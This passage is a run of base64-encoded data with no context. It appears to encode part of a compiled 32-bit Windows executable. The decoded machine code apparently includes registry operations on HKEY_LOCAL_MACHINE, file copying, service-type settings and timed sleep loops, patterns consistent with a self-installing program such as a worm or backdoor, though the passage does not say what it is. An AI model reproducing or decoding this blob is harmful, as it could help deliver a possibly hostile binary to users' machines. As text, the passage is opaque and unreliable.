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 